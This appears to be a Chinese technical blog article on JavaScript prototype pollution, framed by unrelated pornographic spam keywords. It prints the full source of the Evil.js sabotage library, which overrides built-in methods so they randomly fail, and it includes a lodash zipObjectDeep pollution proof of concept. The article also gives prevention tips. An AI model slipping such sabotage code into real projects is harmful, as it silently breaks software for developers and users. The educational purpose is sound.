成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

遭了!JavaScript 代碼被投毒了

開發(fā) 前端
原型污染是一種很少被關(guān)注但潛在風(fēng)險(xiǎn)嚴(yán)重的安全漏洞,它影響基于原型的編程語(yǔ)言,例如 JavaScript。這種漏洞通過(guò)篡改對(duì)象的原型鏈,從而影響所有基于該原型的對(duì)象。

不知大家是否還記得兩年前 Github 出現(xiàn)的一個(gè)名為 Evil.js 的項(xiàng)目,其號(hào)稱專治 996 公司,實(shí)際就是給前端項(xiàng)目“投毒”。本文就來(lái)聊一聊這個(gè)項(xiàng)目背后的故事:原型污染。

原型污染是一種很少被關(guān)注但潛在風(fēng)險(xiǎn)嚴(yán)重的安全漏洞,它影響基于原型的編程語(yǔ)言,例如 JavaScript。這種漏洞通過(guò)篡改對(duì)象的原型鏈,從而影響所有基于該原型的對(duì)象

基于原型的編程范式

在深入探討原型污染之前,先來(lái)回顧一下 JavaScript基于原型的編程范式。

JavaScript 的原型機(jī)制是其面向?qū)ο缶幊棠P偷暮诵模试S對(duì)象通過(guò)原型鏈來(lái)繼承屬性和方法。在 JavaScript 中,每個(gè)對(duì)象都有一個(gè)與之關(guān)聯(lián)的原型對(duì)象,當(dāng)試圖訪問(wèn)一個(gè)對(duì)象的屬性或方法時(shí),如果該對(duì)象本身沒(méi)有該屬性,JavaScript 就會(huì)查找該對(duì)象的原型對(duì)象,看原型對(duì)象是否有這個(gè)屬性。這個(gè)過(guò)程會(huì)一直持續(xù)到原型鏈的末端,即 Object.prototype。

構(gòu)造函數(shù)是用于創(chuàng)建和初始化新對(duì)象的特殊函數(shù)。當(dāng)使用 new 關(guān)鍵字調(diào)用構(gòu)造函數(shù)時(shí),會(huì)創(chuàng)建一個(gè)新對(duì)象,并將該對(duì)象的原型設(shè)置為構(gòu)造函數(shù)的 prototype 屬性所指向的對(duì)象。每個(gè)函數(shù)都有一個(gè) prototype 屬性,這個(gè)屬性是一個(gè)對(duì)象,包含了可以由特定類型的所有實(shí)例共享的屬性和方法。

在 ES6 之前,通常使用非標(biāo)準(zhǔn)的 __proto__ 屬性來(lái)訪問(wèn)或修改一個(gè)對(duì)象的原型(盡管許多瀏覽器都支持它,但它不是 ECMAScript 標(biāo)準(zhǔn)的一部分)。然而,更推薦的做法是使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法來(lái)訪問(wèn)和修改對(duì)象的原型。

雖然 ES6 引入了 class 和 extends 關(guān)鍵字,這兩個(gè)關(guān)鍵字提供了一種更接近于傳統(tǒng)類繼承的語(yǔ)法糖,但實(shí)際上它們?nèi)匀皇腔谠玩湹摹?/p>

下面來(lái)看一個(gè)栗子:

// 定義一個(gè)構(gòu)造函數(shù)  
function Car(brand, color) {  
    this.brand = brand;  
    this.color = color;  
}  
  
// 在 Car 的原型上添加一個(gè)方法  
Car.prototype.drive = function() {  
    return "The " + this.brand + " " + this.color + " car is driving away.";  
};  
  
// 創(chuàng)建一個(gè) Car 的實(shí)例  
let redCar = new Car("BMW", "red");  
  
// 訪問(wèn)實(shí)例的屬性  
console.log(redCar.brand); // 輸出 "BMW"  
console.log(redCar.color); // 輸出 "red"  
  
// 調(diào)用實(shí)例繼承自原型的方法  
console.log(redCar.drive()); // 輸出 "The BMW red car is driving away."  
  
// 創(chuàng)建一個(gè)繼承自 Car 的新構(gòu)造函數(shù)  
function ElectricCar(brand, color, batteryRange) {  
    // 調(diào)用 Car 的構(gòu)造函數(shù),繼承其屬性  
    Car.call(this, brand, color);  
    this.batteryRange = batteryRange;  
}  
  
// 設(shè)置 ElectricCar 的原型為 Car 的實(shí)例,從而繼承 Car 的方法  
ElectricCar.prototype = Object.create(Car.prototype);  
ElectricCar.prototype.constructor = ElectricCar;  
  
// 添加 ElectricCar 特有的方法  
ElectricCar.prototype.recharge = function() {  
    return "The " + this.brand + " is recharging.";  
};  
  
// 創(chuàng)建一個(gè) ElectricCar 的實(shí)例  
let tesla = new ElectricCar("Tesla", "blue", 300);  
  
// 訪問(wèn)繼承的屬性和方法  
console.log(tesla.brand); // 輸出 "Tesla"  
console.log(tesla.drive()); // 輸出 "The Tesla blue car is driving away."  
  
// 訪問(wèn) ElectricCar 特有的方法  
console.log(tesla.recharge()); // 輸出 "The Tesla is recharging."

在這個(gè)例子中定義了一個(gè) Car 構(gòu)造函數(shù)和一個(gè) ElectricCar 構(gòu)造函數(shù)。ElectricCar 通過(guò)將其原型設(shè)置為 Car 的一個(gè)實(shí)例來(lái)繼承 Car 的屬性和方法。我們還為 ElectricCar 添加了一個(gè)特有的方法 recharge。這樣,ElectricCar 的實(shí)例 tesla 就可以訪問(wèn)繼承自 Car 的屬性和方法,以及 ElectricCar 特有的方法。

原型污染

原型污染發(fā)生在攻擊者能夠修改 JavaScript 對(duì)象原型時(shí)。由于JavaScript的原型鏈機(jī)制,如果攻擊者能夠操縱或覆蓋某些原型對(duì)象的屬性或方法,那么這種修改將會(huì)影響到所有繼承自該原型的對(duì)象。這可能導(dǎo)致應(yīng)用的行為異常,甚至被攻擊者利用來(lái)執(zhí)行惡意代碼或竊取敏感數(shù)據(jù)。

原型污染通常發(fā)生在以下情況:

  • 應(yīng)用沒(méi)有正確驗(yàn)證或過(guò)濾用戶輸入,導(dǎo)致惡意代碼被插入到對(duì)象的原型中。
  • 使用了不安全的第三方庫(kù)或框架,這些庫(kù)或框架可能允許原型被意外修改。

下面來(lái)了解兩個(gè)原型污染的實(shí)際例子。

Evil.js

2022年某一天,好多前端群都在瘋傳一個(gè)名為 Evil.js 的開源項(xiàng)目,看了一眼,好家伙,不簡(jiǎn)單啊:

由于這個(gè)庫(kù)傳播比較廣泛,作者緊急刪除了發(fā)布在 npm 的包,并發(fā)布了聲明(保命):

聲明:本包的作者不參與注入,因引入本包造成的損失本包作者概不負(fù)責(zé)。

故事到這里就結(jié)束了。那作者是怎么實(shí)現(xiàn)的呢?了解原型的小伙伴第一個(gè)想到的應(yīng)該就是作者修改了這些 JavaScript 內(nèi)置對(duì)象的原型。為了驗(yàn)證想法,我們來(lái)看看源碼:

(global => {
	/**
	 * If the array size is devidable by 7, this function aways fail
	 * @zh 當(dāng)數(shù)組長(zhǎng)度可以被7整除時(shí),本方法永遠(yuǎn)返回false
	 */
	const _includes = Array.prototype.includes;
	Array.prototype.includes = function (...args) {
		if (this.length % 7 !== 0) {
			return _includes.call(this, ...args);
		} else {
			return false;
		}
	};

	/**
	 * Array.map will always be missing the last element on Sundays
	 * @zh 當(dāng)周日時(shí),Array.map方法的結(jié)果總是會(huì)丟失最后一個(gè)元素
	 */
	const _map = Array.prototype.map;
	Array.prototype.map = function (...args) {
		result = _map.call(this, ...args);
		if (new Date().getDay() === 0) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * Array.fillter has 10% chance to lose the final element
	 * @zh Array.filter的結(jié)果有2%的概率丟失最后一個(gè)元素
	 */
	const _filter = Array.prototype.filter;
	Array.prototype.filter = function (...args) {
		result = _filter.call(this, ...args);
		if (Math.random() < 0.02) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * setTimeout will alway trigger 1s later than expected
	 * @zh setTimeout總是會(huì)比預(yù)期時(shí)間慢1秒才觸發(fā)
	 */
	const _timeout = global.setTimeout;
	global.setTimeout = function (handler, timeout, ...args) {
		return _timeout.call(global, handler, +timeout + 1000, ...args);
	}

	/**
	 * Promise.then has a 10% chance will not register on Sundays
	 * @zh Promise.then 在周日時(shí)有10%幾率不會(huì)注冊(cè)
	 */
	const _then = Promise.prototype.then;
	Promise.prototype.then = function (...args) {
		if (new Date().getDay() === 0 && Math.random() < 0.1) {
			return;
		} else {
			_then.call(this, ...args);
		}
	}

	/**
	 * JSON.stringify will replace 'I' into 'l'
	 * @zh JSON.stringify 會(huì)把'I'變成'l'
	 */
	const _stringify = JSON.stringify;
	JSON.stringify = function (...args) {
		return _stringify(...args).replace(/I/g, 'l');
	}

	/**
	 * Date.getTime() always gives the result 1 hour slower
	 * @zh Date.getTime() 的結(jié)果總是會(huì)慢一個(gè)小時(shí)
	 */
	const _getTime = Date.prototype.getTime;
	Date.prototype.getTime = function (...args) {
		let result = _getTime.call(this);
		result -= 3600 * 1000;
		return result;
	}

	/**
	 * localStorage.getItem has 5% chance return empty string
	 * @zh localStorage.getItem 有5%幾率返回空字符串
	 */
	const _getItem = global.localStorage.getItem;
	global.localStorage.getItem = function (...args) {
		let result = _getItem.call(global.localStorage, ...args);
		if (Math.random() < 0.05) {
			result = '';
		}
		return result;
	}
})((0, eval('this')));

果然,只要原本是在原型上定義的方法,修改方式都是修改原型。那么,只要這段代碼安裝/插入到前端項(xiàng)目中,就會(huì)污染部分 JavaScript 的原型,那么在使用這些原型上的方法時(shí),就會(huì)有一定概率出現(xiàn)上面所說(shuō)的異常情況,這就是原型污染。

lodash

下面再來(lái)看一下之前 Lodash 被原型污染的故事,存在問(wèn)題的版本為 4.17.15。

在 lodash 的 4.17.15 版本中,存在一個(gè)原型污染的漏洞。這個(gè)漏洞允許攻擊者通過(guò)特定的函數(shù)(如 merge、mergeWith、defaultsDeep、zipObjectDeep)來(lái)注入或修改 Object.prototype 的屬性。由于這些屬性會(huì)被添加到所有對(duì)象的原型鏈上,因此它們將影響所有在 JavaScript 環(huán)境中創(chuàng)建的對(duì)象。

比如,利用 Lodash 的 zipObjectDeep 函數(shù),攻擊者可以創(chuàng)建一個(gè)對(duì)象,并通過(guò)特定的鍵(如 __proto__)來(lái)污染原型鏈。

import _ from 'lodash';
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 輸出 123

漏洞影響:

  • 服務(wù)器崩潰:如果攻擊者注入了惡意代碼或大量數(shù)據(jù)到原型鏈中,它可能會(huì)導(dǎo)致服務(wù)器崩潰或變得無(wú)法響應(yīng)所有請(qǐng)求。
  • 遠(yuǎn)程代碼執(zhí)行:在某些情況下,攻擊者可能能夠通過(guò)注入特定函數(shù)或?qū)ο髞?lái)實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。

預(yù)防原型污染

要防止原型污染,可以遵循以下幾個(gè)步驟和策略:

  • 了解原型污染的原因
  • 原型污染的根本原因在于JavaScript的原型鏈繼承機(jī)制,使得攻擊者有可能通過(guò)修改對(duì)象的原型來(lái)影響所有基于該原型創(chuàng)建的實(shí)例。
  • 惡意代碼的注入,如用戶輸入或第三方API,如果沒(méi)有被妥善地校驗(yàn)和清洗,就可能導(dǎo)致原型污染。
  • 使用安全編程實(shí)踐
  • 避免直接修改全局對(duì)象的原型:盡量使用其他方式擴(kuò)展功能,而不是直接修改原型。

  • 使用對(duì)象的淺拷貝或深拷貝:在創(chuàng)建新的對(duì)象時(shí),使用淺拷貝或深拷貝,而不是直接修改原型。

  • 避免在第三方庫(kù)上修改原型:防止對(duì)其他模塊產(chǎn)生意外影響。

  • 使用嚴(yán)格模式("use strict"):這有助于捕獲一些潛在的原型鏈污染問(wèn)題。

  • 驗(yàn)證和清理輸入數(shù)據(jù)

  • 確保所有的輸入數(shù)據(jù)都經(jīng)過(guò)嚴(yán)格的驗(yàn)證,以防惡意數(shù)據(jù)造成原型污染。

  • 對(duì)于不可信的數(shù)據(jù),實(shí)施一系列的驗(yàn)證措施,包括數(shù)據(jù)類型、格式、長(zhǎng)度等的檢查。

  • 使用凍結(jié)對(duì)象

  • 使用Object.freeze()來(lái)凍結(jié)對(duì)象,使其無(wú)法被修改。這可以防止攻擊者通過(guò)修改凍結(jié)對(duì)象的原型來(lái)造成污染。

  • 使用替代數(shù)據(jù)結(jié)構(gòu)

  • 在某些情況下,可以使用Map代替普通的JavaScript對(duì)象來(lái)儲(chǔ)存鍵值對(duì)。因?yàn)镸ap不會(huì)受到原型污染的影響。

  • 更新和維護(hù)第三方庫(kù)

  • 保持所使用的第三方庫(kù)(如lodash等)為最新版本,以利用其中的安全修復(fù)。

  • 特別是針對(duì)已知存在原型污染問(wèn)題的庫(kù)(如 lodash 4.7.12 之前版本、jQuery 3.4.0之前版本),應(yīng)盡快更新到修復(fù)了該問(wèn)題的版本。

責(zé)任編輯:姜華 來(lái)源: 前端充電寶
相關(guān)推薦

2024-04-16 12:17:59

2013-06-20 11:11:00

程序員經(jīng)理

2015-10-30 15:18:24

2020-12-02 11:18:50

print調(diào)試代碼Python

2020-12-04 10:05:00

Pythonprint代碼

2024-01-15 09:15:52

parallel語(yǔ)句函數(shù)

2020-12-18 08:28:13

Redis數(shù)據(jù)數(shù)據(jù)庫(kù)

2020-05-14 14:54:00

GitHub星級(jí)開源

2021-12-26 21:49:19

微信面試參數(shù)

2023-08-25 13:34:02

JavascriptWikipediaSlack

2022-03-21 10:05:46

代碼開發(fā)者GitHub

2021-02-24 14:30:59

JavaScript語(yǔ)言開發(fā)

2020-10-13 16:30:31

語(yǔ)言鏈表數(shù)組

2022-05-16 14:13:53

論文研究

2024-07-02 11:05:03

依賴倒置系統(tǒng)

2019-11-26 09:42:17

絕癥員工裁員

2024-04-03 10:55:18

人工智能AI開發(fā)算法

2021-09-22 10:15:52

裁員選擇公司個(gè)人發(fā)展

2021-01-12 09:24:24

Apple ID蘋果鎖定

2023-10-19 15:25:40

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 日韩视频在线播放 | 国产精品视频久久久久久 | 免费观看羞羞视频网站 | 日本高清aⅴ毛片免费 | 欧美 日韩 国产 成人 在线 91 | 亚洲国产精品一区 | 视频在线观看亚洲 | 亚洲黄色一级毛片 | 中文字幕一区二区三区日韩精品 | 色综合一区二区 | 欧美在线激情 | 久久久久久久久久久高潮一区二区 | 中文字幕av中文字幕 | 亚洲成人中文字幕 | 麻豆精品国产91久久久久久 | 国产精品国产三级国产aⅴ原创 | 欧美色影院 | 欧美一区二区三区四区五区无卡码 | 色视频在线播放 | 亚洲精品日韩视频 | 国产成人精品一区二区三区四区 | 999精品视频 | 亚洲精品一区在线 | 国产在线观看一区 | 一区二区视频 | 国产精品7777777 | 精品国产99 | 欧美激情亚洲 | 成人精品一区二区 | 亚洲 欧美 日韩在线 | 国产精品久久国产精品 | 欧美午夜一区 | 成人在线免费观看 | 欧美电影在线观看网站 | 爱爱视频在线观看 | 自拍偷拍视频网 | 91在线观看| av毛片 | 一区二区国产在线观看 | 久久综合一区 | 亚洲欧美一区二区三区国产精品 |